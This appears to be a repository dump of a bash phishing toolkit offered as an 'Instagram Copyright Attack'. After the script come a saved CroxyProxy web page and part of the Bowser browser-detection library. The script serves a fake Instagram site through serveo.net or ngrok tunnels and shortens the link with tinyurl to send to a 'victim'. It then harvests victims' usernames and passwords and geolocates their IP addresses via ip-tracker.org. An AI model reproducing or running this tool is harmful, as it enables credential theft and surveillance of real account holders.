"" 36 | read -p "Pree Enter To Continue:" 37 | sleep 1 & clear 38 | 39 | echo " 40 | ▄█ █▄ ███ █▄ ▄▄▄▄███▄▄▄▄ ▄████████ ███▄▄▄▄ 41 | ███ ███ ███ ███ ▄██▀▀▀███▀▀▀██▄ ███ ███ ███▀▀▀██▄ 42 | ███ ███ ███ ███ ███ ███ ███ ███ █▀ ███ ███ 43 | ▄███▄▄▄▄███▄▄ ███ ███ ███ ███ ███ ▄███▄▄▄ ███ ███ 44 | ▀▀███▀▀▀▀███▀ ███ ███ ███ ███ ███ ▀▀███▀▀▀ ███ ███ 45 | ███ ███ ███ ███ ███ ███ ███ ███ █▄ ███ ███ 46 | ███ ███ ███ ███ ███ ███ ███ ███ ███ ███ ███ 47 | ███ █▀ ████████▀ ▀█ ███ █▀ ██████████ ▀█ █▀ Error 48 | 49 | -__- Made By SamadbLoch The Malicious -_- 50 | 51 | 52 | 53 | " 54 | menu() { 55 | 56 | echo "[01] Instagram Copyright Attack" 57 | read -p $'\n\e[1;92m[\e[0m\e[1;77m*\e[0m\e[1;92m] Choose Attack: \e[0m\en' option 58 | 59 | 60 | if [[ $option == 1 || $option == 01 ]]; then 61 | server="instagram" 62 | start1 63 | 64 | else 65 | printf "\e[1;93m [!] Invalid option!\e[0m\n" 66 | sleep 1 67 | clear 68 | menu 69 | fi 70 | } 71 | 72 | stop() { 73 | 74 | checkngrok=$(ps aux | grep -o "ngrok" | head -n1) 75 | checkphp=$(ps aux | grep -o "php" | head -n1) 76 | checkssh=$(ps aux | grep -o "ssh" | head -n1) 77 | if [[ $checkngrok == *'ngrok'* ]]; then 78 | pkill -f -2 ngrok > /dev/null 2>&1 79 | killall -2 ngrok > /dev/null 2>&1 80 | fi 81 | if [[ $checkphp == *'php'* ]]; then 82 | pkill -f -2 php > /dev/null 2>&1 83 | killall -2 php > /dev/null 2>&1 84 | fi 85 | if [[ $checkssh == *'ssh'* ]]; then 86 | pkill -f -2 ssh > /dev/null 2>&1 87 | killall ssh > /dev/null 2>&1 88 | fi 89 | if [[ -e sendlink ]]; then 90 | rm -rf sendlink 91 | fi 92 | 93 | } 94 | 95 | 96 | catch_cred() { 97 | 98 | account=$(grep -o 'Account:.*' sites/$server/usernames.txt | cut -d " " -f2) 99 | IFS=$'\n' 100 | password=$(grep -o 'Pass:.*' sites/$server/usernames.txt | cut -d ":" -f2) 101 | printf "\e[1;93m[\e[0m\e[1;77m*\e[0m\e[1;93m]\e[0m\e[1;92m Account:\e[0m\e[1;77m %s\n\e[0m" $account 102 | printf "\e[1;93m[\e[0m\e[1;77m*\e[0m\e[1;93m]\e[0m\e[1;92m Password:\e[0m\e[1;77m %s\n\e[0m" $password 103 | cat sites/$server/usernames.txt >> sites/$server/saved.usernames.txt 104 | printf "\e[1;92m[\e[0m\e[1;77m*\e[0m\e[1;92m] Saved:\e[0m\e[1;77m sites/%s/saved.usernames.txt\e[0m\n" $server 105 | printf "\n" 106 | printf "\e[1;93m[\e[0m\e[1;77m*\e[0m\e[1;93m] Waiting For Next Credentials, Press Ctrl + C to exit...\e[0m\n" 107 | 108 | } 109 | 110 | 111 | catch_ip() { 112 | touch sites/$server/saved.usernames.txt 113 | ip=$(grep -a 'IP:' sites/$server/ip.txt | cut -d " " -f2 | tr -d '\r') 114 | IFS=$'\n' 115 | ua=$(grep 'User-Agent:' sites/$server/ip.txt | cut -d '"' -f2) 116 | printf "\e[1;93m[\e[0m\e[1;77m*\e[0m\e[1;93m] Victim IP:\e[0m\e[1;77m %s\e[0m\n" $ip 117 | printf "\e[1;93m[\e[0m\e[1;77m*\e[0m\e[1;93m] User-Agent:\e[0m\e[1;77m %s\e[0m\n" $ua 118 | printf "\e[1;92m[\e[0m\e[1;77m*\e[0m\e[1;92m] Saved:\e[0m\e[1;77m %s/saved.ip.txt\e[0m\n" $server 119 | cat sites/$server/ip.txt >> sites/$server/saved.ip.txt 120 | 121 | if [[ -e iptracker.log ]]; then 122 | rm -rf iptracker.log 123 | fi 124 | 125 | IFS='\n' 126 | iptracker=$(curl -s -L "www.ip-tracker.org/locator/ip-lookup.php?ip=$ip" --user-agent "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.63 Safari/537.31" > iptracker.log) 127 | IFS=$'\n' 128 | continent=$(grep -o 'Continent.*' iptracker.log | head -n1 | cut -d ">" -f3 | cut -d "<" -f1) 129 | printf "\n" 130 | hostnameip=$(grep -o "Hostname:.*" iptracker.log | cut -d "<" -f7 | cut -d ">" -f2) 131 | if [[ $hostnameip != "" ]]; then 132 | printf "\e[1;92m[*] Hostname:\e[0m\e[1;77m %s\e[0m\n" $hostnameip 133 | fi 134 | ## 135 | 136 | reverse_dns=$(grep -a "Hostname:.*" iptracker.log | cut -d "<" -f1) 137 | if [[ $reverse_dns != "" ]]; then 138 | printf "\e[1;92m[*] Reverse DNS:\e[0m\e[1;77m %s\e[0m\n" $reverse_dns 139 | fi 140 | ## 141 | 142 | 143 | if [[ $continent != "" ]]; then 144 | printf "\e[1;92m[*] IP Continent:\e[0m\e[1;77m %s\e[0m\n" $continent 145 | fi 146 | ## 147 | 148 | country=$(grep -o 'Country:.*' iptracker.log | cut -d ">" -f3 | cut -d "&" -f1) 149 | if [[ $country != "" ]]; then 150 | printf "\e[1;92m[*] IP Country:\e[0m\e[1;77m %s\e[0m\n" $country 151 | fi 152 | ## 153 | 154 | state=$(grep -o "tracking lessimpt.*" iptracker.log | cut -d "<" -f1 | cut -d ">" -f2) 155 | if [[ $state != "" ]]; then 156 | printf "\e[1;92m[*] State:\e[0m\e[1;77m %s\e[0m\n" $state 157 | fi 158 | ## 159 | city=$(grep -o "City Location:.*" iptracker.log | cut -d "<" -f3 | cut -d ">" -f2) 160 | 161 | if [[ $city != "" ]]; then 162 | printf "\e[1;92m[*] City Location:\e[0m\e[1;77m %s\e[0m\n" $city 163 | fi 164 | ## 165 | 166 | isp=$(grep -o "ISP:.*" iptracker.log | cut -d "<" -f3 | cut -d ">" -f2) 167 | if [[ $isp != "" ]]; then 168 | printf "\e[1;92m[*] ISP:\e[0m\e[1;77m %s\e[0m\n" $isp 169 | fi 170 | ## 171 | 172 | as_number=$(grep -o "AS Number:.*" iptracker.log | cut -d "<" -f3 | cut -d ">" -f2) 173 | if [[ $as_number != "" ]]; then 174 | printf "\e[1;92m[*] AS Number:\e[0m\e[1;77m %s\e[0m\n" $as_number 175 | fi 176 | ## 177 | 178 | ip_speed=$(grep -o "IP Address Speed:.*" iptracker.log | cut -d "<" -f3 | cut -d ">" -f2) 179 | if [[ $ip_speed != "" ]]; then 180 | printf "\e[1;92m[*] IP Address Speed:\e[0m\e[1;77m %s\e[0m\n" $ip_speed 181 | fi 182 | ## 183 | ip_currency=$(grep -o "IP Currency:.*" iptracker.log | cut -d "<" -f3 | cut -d ">" -f2) 184 | 185 | if [[ $ip_currency != "" ]]; then 186 | printf "\e[1;92m[*] IP Currency:\e[0m\e[1;77m %s\e[0m\n" $ip_currency 187 | fi 188 | ## 189 | printf "\n" 190 | rm -rf iptracker.log 191 | printf "\e[1;93m[\e[0m\e[1;77m*\e[0m\e[1;93m] Waiting For Credentials, Press Ctrl + C to exit...\e[0m\n" 192 | 193 | } 194 | 195 | 196 | serverx() { 197 | printf "\e[1;92m[\e[0m*\e[1;92m] Starting php server...\n" 198 | cd sites/$server && php -S 127.0.0.1:$port > /dev/null 2>&1 & 199 | sleep 2 200 | printf "\e[1;92m[\e[0m\e[1;77m*\e[0m\e[1;92m] Starting server...\e[0m\n" 201 | command -v ssh > /dev/null 2>&1 || { echo >&2 "I require SSH but it's not installed. Install it. Aborting."; exit 1; } 202 | if [[ -e sendlink ]]; then 203 | rm -rf sendlink 204 | fi 205 | $(which sh) -c 'ssh -o StrictHostKeyChecking=no -o ServerAliveInterval=60 -R 80:localhost:'$port' serveo.net 2> /dev/null > sendlink ' & 206 | printf "\n" 207 | sleep 10 208 | send_link=$(grep -o "https://[0-9a-z]*\.serveo.net" sendlink) 209 | printf "\n" 210 | printf '\n\e[1;93m[\e[0m\e[1;77m*\e[0m\e[1;93m] Send the direct link to target:\e[0m\e[1;77m %s \n' $send_link 211 | send_ip=$(curl -s http://tinyurl.com/api-create.php?url=$send_link | head -n1) 212 | printf '\n\e[1;93m[\e[0m\e[1;77m*\e[0m\e[1;93m] Or using tinyurl:\e[0m\e[1;77m %s \n' $send_ip 213 | printf "\n" 214 | checkfound 215 | 216 | 217 | } 218 | 219 | startx() { 220 | if [[ -e sites/$server/ip.txt ]]; then 221 | rm -rf sites/$server/ip.txt 222 | 223 | fi 224 | if [[ -e sites/$server/usernames.txt ]]; then 225 | rm -rf sites/$server/usernames.txt 226 | 227 | fi 228 | 229 | default_port="3333" #$(seq 1111 4444 | sort -R | head -n1) 230 | printf '\e[1;92m[\e[0m\e[1;77m*\e[0m\e[1;92m] Choose a Port (Default:\e[0m\e[1;77m %s \e[0m\e[1;92m): \e[0m' $default_port 231 | read port 232 | port="${port:-${default_port}}" 233 | serverx 234 | 235 | } 236 | 237 | 238 | start() { 239 | if [[ -e sites/$server/ip.txt ]]; then 240 | rm -rf sites/$server/ip.txt 241 | 242 | fi 243 | if [[ -e sites/$server/usernames.txt ]]; then 244 | rm -rf sites/$server/usernames.txt 245 | 246 | fi 247 | 248 | 249 | 250 | if [[ -e ngrok ]]; then 251 | echo "" 252 | else 253 | command -v unzip > /dev/null 2>&1 || { echo >&2 "I require unzip but it's not installed. Install it. Aborting."; exit 1; } 254 | command -v wget > /dev/null 2>&1 || { echo >&2 "I require wget but it's not installed. Install it. Aborting."; exit 1; } 255 | printf "\e[1;92m[\e[0m*\e[1;92m] Downloading Ngrok...\n" 256 | arch=$(uname -a | grep -o 'arm' | head -n1) 257 | arch2=$(uname -a | grep -o 'Android' | head -n1) 258 | if [[ $arch == *'arm'* ]] || [[ $arch2 == *'Android'* ]] ; then 259 | wget https://bin.equinox.io/c/4VmDzA7iaHb/ngrok-stable-linux-arm.zip > /dev/null 2>&1 260 | 261 | if [[ -e ngrok-stable-linux-arm.zip ]]; then 262 | unzip ngrok-stable-linux-arm.zip > /dev/null 2>&1 263 | chmod +x ngrok 264 | rm -rf ngrok-stable-linux-arm.zip 265 | else 266 | printf "\e[1;93m[!] Download error... Termux, run:\e[0m\e[1;77m pkg install wget\e[0m\n" 267 | exit 1 268 | fi 269 | 270 | 271 | 272 | else 273 | wget https://bin.equinox.io/c/4VmDzA7iaHb/ngrok-stable-linux-386.zip > /dev/null 2>&1 274 | if [[ -e ngrok-stable-linux-386.zip ]]; then 275 | unzip ngrok-stable-linux-386.zip > /dev/null 2>&1 276 | chmod +x ngrok 277 | rm -rf ngrok-stable-linux-386.zip 278 | else 279 | printf "\e[1;93m[!] Download error... \e[0m\n" 280 | exit 1 281 | fi 282 | fi 283 | fi 284 | 285 | printf "\e[1;92m[\e[0m*\e[1;92m] Starting php server...\n" 286 | cd sites/$server && php -S 127.0.0.1:3333 > /dev/null 2>&1 & 287 | sleep 2 288 | printf "\e[1;92m[\e[0m*\e[1;92m] Starting ngrok server...\n" 289 | ./ngrok http 3333 > /dev/null 2>&1 & 290 | sleep 10 291 | 292 | link=$(curl -s -N http://127.0.0.1:4040/api/tunnels | grep -o "https://[0-9a-z]*\.ngrok.io") 293 | printf "\e[1;92m[\e[0m*\e[1;92m] Send this link to the Victim:\e[0m\e[1;77m %s\e[0m\n" $link 294 | checkfound 295 | } 296 | 297 | start1() { 298 | if [[ -e sendlink ]]; then 299 | rm -rf sendlink 300 | fi 301 | 302 | 303 | printf "\n" 304 | printf "\e[1;92m[\e[0m\e[1;77m01\e[0m\e[1;92m]\e[0m\e[1;93m Serveo.net\e[0m\n" 305 | printf "\e[1;92m[\e[0m\e[1;77m02\e[0m\e[1;92m]\e[0m\e[1;93m Ngrok\e[0m\n" 306 | default_option_server="1" 307 | read -p $'\n\e[1;92m[\e[0m\e[1;77m*\e[0m\e[1;92m] Choose a Port Forwarding option: \e[0m\en' option_server 308 | option_server="${option_server:-${default_option_server}}" 309 | if [[ $option_server == 1 || $option_server == 01 ]]; then 310 | startx 311 | 312 | elif [[ $option_server == 2 || $option_server == 02 ]]; then 313 | start 314 | else 315 | printf "\e[1;93m [!] Invalid option!\e[0m\n" 316 | sleep 1 317 | clear 318 | start1 319 | fi 320 | 321 | } 322 | checkfound() { 323 | 324 | printf "\n" 325 | printf "\e[1;92m[\e[0m\e[1;77m*\e[0m\e[1;92m] Waiting For Credentials,\e[0m\e[1;77m Press Ctrl + C to exit...\e[0m\n" 326 | while [ true ]; do 327 | 328 | 329 | if [[ -e "sites/$server/ip.txt" ]]; then 330 | printf "\n\e[1;92m[\e[0m*\e[1;92m] IP Found!\n" 331 | catch_ip 332 | rm -rf sites/$server/ip.txt 333 | fi 334 | sleep 0.5 335 | if [[ -e "sites/$server/usernames.txt" ]]; then 336 | printf "\n\e[1;93m[\e[0m*\e[1;93m]\e[0m\e[1;92m Credentials Found!\n" 337 | catch_cred 338 | rm -rf sites/$server/usernames.txt 339 | fi 340 | sleep 0.5 341 | 342 | 343 | done 344 | 345 | } 346 | dependencies 347 | menu 348 | 349 | -------------------------------------------------------------------------------- /sites/instagram/static/__cpa.cp.js.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | Free web proxy and the most advanced online proxy | CroxyProxy 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 37 | 38 | 39 | 40 | 41 | 48 | 49 | 50 | 51 | 72 | 73 | 74 | 93 |
94 |
95 |
96 |
97 |
98 | 101 |
102 |
103 | CroxyProxy is the most advanced free and secure web proxy service. It supports any kind of sites: 104 | video hostings, search engines, social networks, e-mail services and much more. You can browse your 105 | favorite resources such as Facebook, Google, Gmail, Twitter and also have Youtube unblocked using 106 | encrypted connection. 107 | 108 |
109 |
110 | 111 | 112 | 118 | 121 |
122 |
123 | 124 | 125 | 131 | 134 |
135 | 140 |
141 |
142 |
143 |
144 | 145 | 146 | 147 | 148 |
149 |
150 |
151 |
152 | Remove ads 153 |
154 |
155 |
156 | 157 | 163 | 164 | 165 | 166 | 172 | 175 |
176 |
177 | 180 |
181 |
182 | 186 | 191 | 192 | 193 |
194 | 195 |

Advanced online proxy

196 | 197 |

198 | CroxyProxy is reliable and free web proxy service that protects your privacy. 199 | It supports a lot of video sites and they can be surfed anonymously with full video streaming support. 200 | Our online proxy is a perfect alternative to VPN. It is free of charge, you don't need to download or 201 | configure anything since it acts as a proxy browser.
202 |

203 |

The main advantages of CroxyProxy in comparison to other proxies and VPN services:

204 |
    205 |
  • Unique technology which allows to access most of modern websites and web applications.
  • 206 |
  • Works perfectly as a Youtube proxy and a proxy for other video websites.
  • 207 |
  • Your webproxy traffic is regular HTTPS traffic which can not be detected by a fingerprint.
  • 208 |
  • A single web page can be opened through the proxy, no need to pass all your traffic.
  • 209 |
  • No configuration required, acts as a proxy browser.
  • 210 |
  • Basic version of the online proxy is free of charge.
  • 211 |
212 | 213 |

Free web proxy features

214 | 215 |
    216 |
  • Hides your real IP address, allows to surf anonymously.
  • 217 |
  • Makes all websites SSL encrypted.
  • 218 |
  • Permalink feature to share opened pages with friends.
  • 219 |
  • Can be used on any operating system including Android and Chrome OS.
  • 220 |
  • Full support for HTML5 video and audio playback.
  • 221 |
222 | 223 |

How the free proxy works

224 | 225 |

226 | The free proxy is a kind of virtual pipe and your traffic flows through it to the destination server (website). 227 | That's why the destination server doesn't see your real IP address. 228 | In the same time your Internet service provider sees the connection to the free proxy service, not to the destination website. 229 | For better protection all the traffic to the the free proxy is encrypted, so your ISP can not decrypt and monitor it. 230 | In this way this online proxy hides your real IP address and cares about your anonymity and privacy. 231 | No matter if the destination website supports secure connection or not, you can be sure that your web traffic to 232 | CroxyProxy will be always protected. 233 |

234 | 235 |

Youtube proxy support

236 | 237 |

238 | This web proxy supports Youtube perfectly. It allows to proxy Youtube videos, check comments, authorize, 239 | write your own comments, etc. You don't need to install any additional software and it doesn't change Youtube look and feel. 240 | Millions of videos and music clips are available for you regardless of your location, 241 | and device with better level of privacy. All you need is just a web browser. 242 | Try our Youtube proxy right now, it is absolutely free! 243 |

244 | 245 |

The best free proxy

246 | 247 |

248 | Before we decided to create this service we gathered an extensive proxy list. We tested proxysite, 249 | proxyfree, hiload, tubeunblock, hide me proxy and others and realized that most of proxy sites are not comfortable to use 250 | nowadays. They don't natively support video and audio streaming, they are slow and break most of web 251 | applications. We wanted to make a better web proxy which works well with any kind of resource. 252 | That's why CroxyProxy is the best free proxy you can find over the Internet and in any 253 | free proxy list. 254 |

255 | 256 |

257 | To start using our webproxy simply enter your search query or website address, press Go! 258 | button and enjoy your privacy and digital freedom! 259 |

260 | 261 |
262 | 263 |
264 |
265 |
266 |
267 |
268 | 283 |
284 | Feedback & Ideas 285 |
286 | 295 | 299 | 300 | 301 | -------------------------------------------------------------------------------- /sites/instagram/static/bowser.js: -------------------------------------------------------------------------------- 1 | /*! 2 | * Bowser - a browser detector 3 | * https://github.com/ded/bowser 4 | * MIT License | (c) Dustin Diaz 2015 5 | */ 6 | 7 | !function (root, name, definition) { 8 | if (typeof module != 'undefined' && module.exports) module.exports = definition() 9 | else if (typeof define == 'function' && define.amd) define(name, definition) 10 | else root[name] = definition() 11 | }(this, 'bowser', function () { 12 | /** 13 | * See useragents.js for examples of navigator.userAgent 14 | */ 15 | 16 | var t = true 17 | 18 | function detect(ua) { 19 | 20 | function getFirstMatch(regex) { 21 | var match = ua.match(regex); 22 | return (match && match.length > 1 && match[1]) || ''; 23 | } 24 | 25 | function getSecondMatch(regex) { 26 | var match = ua.match(regex); 27 | return (match && match.length > 1 && match[2]) || ''; 28 | } 29 | 30 | var iosdevice = getFirstMatch(/(ipod|iphone|ipad)/i).toLowerCase() 31 | , likeAndroid = /like android/i.test(ua) 32 | , android = !likeAndroid && /android/i.test(ua) 33 | , nexusMobile = /nexus\s*[0-6]\s*/i.test(ua) 34 | , nexusTablet = !nexusMobile && /nexus\s*[0-9]+/i.test(ua) 35 | , chromeos = /CrOS/.test(ua) 36 | , silk = /silk/i.test(ua) 37 | , sailfish = /sailfish/i.test(ua) 38 | , tizen = /tizen/i.test(ua) 39 | , webos = /(web|hpw)os/i.test(ua) 40 | , windowsphone = /windows phone/i.test(ua) 41 | , samsungBrowser = /SamsungBrowser/i.test(ua) 42 | , windows = !windowsphone && /windows/i.test(ua) 43 | , mac = !iosdevice && !silk && /macintosh/i.test(ua) 44 | , linux = !android && !sailfish && !tizen && !webos && /linux/i.test(ua) 45 | , edgeVersion = getSecondMatch(/edg([ea]|ios)\/(\d+(\.\d+)?)/i) 46 | , versionIdentifier = getFirstMatch(/version\/(\d+(\.\d+)?)/i) 47 | , tablet = /tablet/i.test(ua) && !/tablet pc/i.test(ua) 48 | , mobile = !tablet && /[^-]mobi/i.test(ua) 49 | , xbox = /xbox/i.test(ua) 50 | , result 51 | 52 | if (/opera/i.test(ua)) { 53 | // an old Opera 54 | result = { 55 | name: 'Opera' 56 | , opera: t 57 | , version: versionIdentifier || getFirstMatch(/(?:opera|opr|opios)[\s\/](\d+(\.\d+)?)/i) 58 | } 59 | } else if (/opr\/|opios/i.test(ua)) { 60 | // a new Opera 61 | result = { 62 | name: 'Opera' 63 | , opera: t 64 | , version: getFirstMatch(/(?:opr|opios)[\s\/](\d+(\.\d+)?)/i) || versionIdentifier 65 | } 66 | } 67 | else if (/SamsungBrowser/i.test(ua)) { 68 | result = { 69 | name: 'Samsung Internet for Android' 70 | , samsungBrowser: t 71 | , version: versionIdentifier || getFirstMatch(/(?:SamsungBrowser)[\s\/](\d+(\.\d+)?)/i) 72 | } 73 | } 74 | else if (/coast/i.test(ua)) { 75 | result = { 76 | name: 'Opera Coast' 77 | , coast: t 78 | , version: versionIdentifier || getFirstMatch(/(?:coast)[\s\/](\d+(\.\d+)?)/i) 79 | } 80 | } 81 | else if (/yabrowser/i.test(ua)) { 82 | result = { 83 | name: 'Yandex Browser' 84 | , yandexbrowser: t 85 | , version: versionIdentifier || getFirstMatch(/(?:yabrowser)[\s\/](\d+(\.\d+)?)/i) 86 | } 87 | } 88 | else if (/ucbrowser/i.test(ua)) { 89 | result = { 90 | name: 'UC Browser' 91 | , ucbrowser: t 92 | , version: getFirstMatch(/(?:ucbrowser)[\s\/](\d+(?:\.\d+)+)/i) 93 | } 94 | } 95 | else if (/mxios/i.test(ua)) { 96 | result = { 97 | name: 'Maxthon' 98 | , maxthon: t 99 | , version: getFirstMatch(/(?:mxios)[\s\/](\d+(?:\.\d+)+)/i) 100 | } 101 | } 102 | else if (/epiphany/i.test(ua)) { 103 | result = { 104 | name: 'Epiphany' 105 | , epiphany: t 106 | , version: getFirstMatch(/(?:epiphany)[\s\/](\d+(?:\.\d+)+)/i) 107 | } 108 | } 109 | else if (/puffin/i.test(ua)) { 110 | result = { 111 | name: 'Puffin' 112 | , puffin: t 113 | , version: getFirstMatch(/(?:puffin)[\s\/](\d+(?:\.\d+)?)/i) 114 | } 115 | } 116 | else if (/sleipnir/i.test(ua)) { 117 | result = { 118 | name: 'Sleipnir' 119 | , sleipnir: t 120 | , version: getFirstMatch(/(?:sleipnir)[\s\/](\d+(?:\.\d+)+)/i) 121 | } 122 | } 123 | else if (/k-meleon/i.test(ua)) { 124 | result = { 125 | name: 'K-Meleon' 126 | , kMeleon: t 127 | , version: getFirstMatch(/(?:k-meleon)[\s\/](\d+(?:\.\d+)+)/i) 128 | } 129 | } 130 | else if (windowsphone) { 131 | result = { 132 | name: 'Windows Phone' 133 | , osname: 'Windows Phone' 134 | , windowsphone: t 135 | } 136 | if (edgeVersion) { 137 | result.msedge = t 138 | result.version = edgeVersion 139 | } 140 | else { 141 | result.msie = t 142 | result.version = getFirstMatch(/iemobile\/(\d+(\.\d+)?)/i) 143 | } 144 | } 145 | else if (/msie|trident/i.test(ua)) { 146 | result = { 147 | name: 'Internet Explorer' 148 | , msie: t 149 | , version: getFirstMatch(/(?:msie |rv:)(\d+(\.\d+)?)/i) 150 | } 151 | } else if (chromeos) { 152 | result = { 153 | name: 'Chrome' 154 | , osname: 'Chrome OS' 155 | , chromeos: t 156 | , chromeBook: t 157 | , chrome: t 158 | , version: getFirstMatch(/(?:chrome|crios|crmo)\/(\d+(\.\d+)?)/i) 159 | } 160 | } else if (/edg([ea]|ios)/i.test(ua)) { 161 | result = { 162 | name: 'Microsoft Edge' 163 | , msedge: t 164 | , version: edgeVersion 165 | } 166 | } 167 | else if (/vivaldi/i.test(ua)) { 168 | result = { 169 | name: 'Vivaldi' 170 | , vivaldi: t 171 | , version: getFirstMatch(/vivaldi\/(\d+(\.\d+)?)/i) || versionIdentifier 172 | } 173 | } 174 | else if (sailfish) { 175 | result = { 176 | name: 'Sailfish' 177 | , osname: 'Sailfish OS' 178 | , sailfish: t 179 | , version: getFirstMatch(/sailfish\s?browser\/(\d+(\.\d+)?)/i) 180 | } 181 | } 182 | else if (/seamonkey\//i.test(ua)) { 183 | result = { 184 | name: 'SeaMonkey' 185 | , seamonkey: t 186 | , version: getFirstMatch(/seamonkey\/(\d+(\.\d+)?)/i) 187 | } 188 | } 189 | else if (/firefox|iceweasel|fxios/i.test(ua)) { 190 | result = { 191 | name: 'Firefox' 192 | , firefox: t 193 | , version: getFirstMatch(/(?:firefox|iceweasel|fxios)[ \/](\d+(\.\d+)?)/i) 194 | } 195 | if (/\((mobile|tablet);[^\)]*rv:[\d\.]+\)/i.test(ua)) { 196 | result.firefoxos = t 197 | result.osname = 'Firefox OS' 198 | } 199 | } 200 | else if (silk) { 201 | result = { 202 | name: 'Amazon Silk' 203 | , silk: t 204 | , version : getFirstMatch(/silk\/(\d+(\.\d+)?)/i) 205 | } 206 | } 207 | else if (/phantom/i.test(ua)) { 208 | result = { 209 | name: 'PhantomJS' 210 | , phantom: t 211 | , version: getFirstMatch(/phantomjs\/(\d+(\.\d+)?)/i) 212 | } 213 | } 214 | else if (/slimerjs/i.test(ua)) { 215 | result = { 216 | name: 'SlimerJS' 217 | , slimer: t 218 | , version: getFirstMatch(/slimerjs\/(\d+(\.\d+)?)/i) 219 | } 220 | } 221 | else if (/blackberry|\bbb\d+/i.test(ua) || /rim\stablet/i.test(ua)) { 222 | result = { 223 | name: 'BlackBerry' 224 | , osname: 'BlackBerry OS' 225 | , blackberry: t 226 | , version: versionIdentifier || getFirstMatch(/blackberry[\d]+\/(\d+(\.\d+)?)/i) 227 | } 228 | } 229 | else if (webos) { 230 | result = { 231 | name: 'WebOS' 232 | , osname: 'WebOS' 233 | , webos: t 234 | , version: versionIdentifier || getFirstMatch(/w(?:eb)?osbrowser\/(\d+(\.\d+)?)/i) 235 | }; 236 | /touchpad\//i.test(ua) && (result.touchpad = t) 237 | } 238 | else if (/bada/i.test(ua)) { 239 | result = { 240 | name: 'Bada' 241 | , osname: 'Bada' 242 | , bada: t 243 | , version: getFirstMatch(/dolfin\/(\d+(\.\d+)?)/i) 244 | }; 245 | } 246 | else if (tizen) { 247 | result = { 248 | name: 'Tizen' 249 | , osname: 'Tizen' 250 | , tizen: t 251 | , version: getFirstMatch(/(?:tizen\s?)?browser\/(\d+(\.\d+)?)/i) || versionIdentifier 252 | }; 253 | } 254 | else if (/qupzilla/i.test(ua)) { 255 | result = { 256 | name: 'QupZilla' 257 | , qupzilla: t 258 | , version: getFirstMatch(/(?:qupzilla)[\s\/](\d+(?:\.\d+)+)/i) || versionIdentifier 259 | } 260 | } 261 | else if (/chromium/i.test(ua)) { 262 | result = { 263 | name: 'Chromium' 264 | , chromium: t 265 | , version: getFirstMatch(/(?:chromium)[\s\/](\d+(?:\.\d+)?)/i) || versionIdentifier 266 | } 267 | } 268 | else if (/chrome|crios|crmo/i.test(ua)) { 269 | result = { 270 | name: 'Chrome' 271 | , chrome: t 272 | , version: getFirstMatch(/(?:chrome|crios|crmo)\/(\d+(\.\d+)?)/i) 273 | } 274 | } 275 | else if (android) { 276 | result = { 277 | name: 'Android' 278 | , version: versionIdentifier 279 | } 280 | } 281 | else if (/safari|applewebkit/i.test(ua)) { 282 | result = { 283 | name: 'Safari' 284 | , safari: t 285 | } 286 | if (versionIdentifier) { 287 | result.version = versionIdentifier 288 | } 289 | } 290 | else if (iosdevice) { 291 | result = { 292 | name : iosdevice == 'iphone' ? 'iPhone' : iosdevice == 'ipad' ? 'iPad' : 'iPod' 293 | } 294 | // WTF: version is not part of user agent in web apps 295 | if (versionIdentifier) { 296 | result.version = versionIdentifier 297 | } 298 | } 299 | else if(/googlebot/i.test(ua)) { 300 | result = { 301 | name: 'Googlebot' 302 | , googlebot: t 303 | , version: getFirstMatch(/googlebot\/(\d+(\.\d+))/i) || versionIdentifier 304 | } 305 | } 306 | else { 307 | result = { 308 | name: getFirstMatch(/^(.*)\/(.*) /), 309 | version: getSecondMatch(/^(.*)\/(.*) /) 310 | }; 311 | } 312 | 313 | // set webkit or gecko flag for browsers based on these engines 314 | if (!result.msedge && /(apple)?webkit/i.test(ua)) { 315 | if (/(apple)?webkit\/537\.36/i.test(ua)) { 316 | result.name = result.name || "Blink" 317 | result.blink = t 318 | } else { 319 | result.name = result.name || "Webkit" 320 | result.webkit = t 321 | } 322 | if (!result.version && versionIdentifier) { 323 | result.version = versionIdentifier 324 | } 325 | } else if (!result.opera && /gecko\//i.test(ua)) { 326 | result.name = result.name || "Gecko" 327 | result.gecko = t 328 | result.version = result.version || getFirstMatch(/gecko\/(\d+(\.\d+)?)/i) 329 | } 330 | 331 | // set OS flags for platforms that have multiple browsers 332 | if (!result.windowsphone && (android || result.silk)) { 333 | result.android = t 334 | result.osname = 'Android' 335 | } else if (!result.windowsphone && iosdevice) { 336 | result[iosdevice] = t 337 | result.ios = t 338 | result.osname = 'iOS' 339 | } else if (mac) { 340 | result.mac = t 341 | result.osname = 'macOS' 342 | } else if (xbox) { 343 | result.xbox = t 344 | result.osname = 'Xbox' 345 | } else if (windows) { 346 | result.windows = t 347 | result.osname = 'Windows' 348 | } else if (linux) { 349 | result.linux = t 350 | result.osname = 'Linux' 351 | } 352 | 353 | function getWindowsVersion (s) { 354 | switch (s) { 355 | case 'NT': return 'NT' 356 | case 'XP': return 'XP' 357 | case 'NT 5.0': return '2000' 358 | case 'NT 5.1': return 'XP' 359 | case 'NT 5.2': return '2003' 360 | case 'NT 6.0': return 'Vista' 361 | case 'NT 6.1': return '7' 362 | case 'NT 6.2': return '8' 363 | case 'NT 6.3': return '8.1' 364 | case 'NT 10.0': return '10' 365 | default: return undefined 366 | } 367 | } 368 | 369 | // OS version extraction 370 | var osVersion = ''; 371 | if (result.windows) { 372 | osVersion = getWindowsVersion(getFirstMatch(/Windows ((NT|XP)( \d\d?.\d)?)/i)) 373 | } else if (result.windowsphone) { 374 | osVersion = getFirstMatch(/windows phone (?:os)?\s?(\d+(\.\d+)*)/i); 375 | } else if (result.mac) { 376 | osVersion = getFirstMatch(/Mac OS X (\d+([_\.\s]\d+)*)/i); 377 | osVersion = osVersion.replace(/[_\s]/g, '.'); 378 | } else if (iosdevice) { 379 | osVersion = getFirstMatch(/os (\d+([_\s]\d+)*) like mac os x/i); 380 | osVersion = osVersion.replace(/[_\s]/g, '.'); 381 | } else if (android) { 382 | osVersion = getFirstMatch(/android[ \/-](\d+(\.\d+)*)/i); 383 | } else if (result.webos) { 384 | osVersion = getFirstMatch(/(?:web|hpw)os\/(\d+(\.\d+)*)/i); 385 | } else if (result.blackberry) { 386 | osVersion = getFirstMatch(/rim\stablet\sos\s(\d+(\.\d+)*)/i); 387 | } else if (result.bada) { 388 | osVersion = 